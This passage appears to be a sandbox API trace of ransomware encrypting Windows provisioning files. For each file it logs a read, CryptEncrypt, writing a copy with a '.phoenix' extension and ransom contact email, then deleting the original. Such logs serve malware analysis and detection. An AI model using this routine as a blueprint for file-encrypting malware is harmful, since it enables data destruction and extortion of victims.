	[0246.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0246.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.503] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.503] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.504] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0246.504] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.504] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x280, lpOverlapped=0x0) returned 1
	[0246.581] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0246.581] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0246.581] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0246.581] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.582] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0246.582] CryptDestroyKey (hKey=0x151780) returned 1
	[0246.582] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0246.582] CryptDestroyKey (hKey=0x151200) returned 1
	[0246.582] CloseHandle (hObject=0x2c4) returned 1
	[0246.582] CloseHandle (hObject=0x2d4) returned 1
	[0246.582] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0246.583] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0246.583] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.583] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=744) returned 1
	[0246.583] CloseHandle (hObject=0x2d4) returned 1
	[0246.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml")) returned 0x20
	[0246.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.584] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.584] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.584] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.584] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.584] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0246.584] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.584] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e8, lpOverlapped=0x0) returned 1
	[0246.645] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0246.645] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0246.646] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0246.646] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.646] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0246.646] CryptDestroyKey (hKey=0x151180) returned 1
	[0246.646] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0246.646] CryptDestroyKey (hKey=0x151440) returned 1
	[0246.646] CloseHandle (hObject=0x2d4) returned 1
	[0246.646] CloseHandle (hObject=0x2c4) returned 1
	[0246.646] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\280__connections_cellular_kpn-hi (netherlands)_i12$(__mvid)@wap.provxml")) returned 1
	[0246.647] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0246.647] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.648] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=735) returned 1
	[0246.648] CloseHandle (hObject=0x2c4) returned 1
	[0246.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml")) returned 0x20
	[0246.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.648] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.648] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.649] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0246.649] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.649] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2df, lpOverlapped=0x0) returned 1
	[0246.684] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0246.685] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0246.685] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.685] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0246.685] CryptDestroyKey (hKey=0x151140) returned 1
	[0246.685] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0246.686] CryptDestroyKey (hKey=0x151740) returned 1
	[0246.686] CloseHandle (hObject=0x2c4) returned 1
	[0246.686] CloseHandle (hObject=0x2d4) returned 1
	[0246.686] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml")) returned 1
	[0246.687] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0246.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.687] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=727) returned 1
	[0246.687] CloseHandle (hObject=0x2d4) returned 1
	[0246.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0246.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0246.687] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.688] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.688] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0246.688] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.688] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d7, lpOverlapped=0x0) returned 1
	[0246.690] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0246.690] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.691] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0246.691] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.691] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0246.691] CryptDestroyKey (hKey=0x151440) returned 1
	[0246.691] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0246.691] CryptDestroyKey (hKey=0x151200) returned 1
	[0246.691] CloseHandle (hObject=0x2d4) returned 1
	[0246.691] CloseHandle (hObject=0x2c4) returned 1
	[0246.691] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\284__connections_cellular_kpn-hi (netherlands)_i2$(__mvid)@wap.provxml")) returned 1
	[0246.692] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0246.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.693] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0246.693] CloseHandle (hObject=0x2c4) returned 1
	[0246.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0246.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.693] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\285__connections_cellular_kpn-hi (netherlands)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.693] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0246.694] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
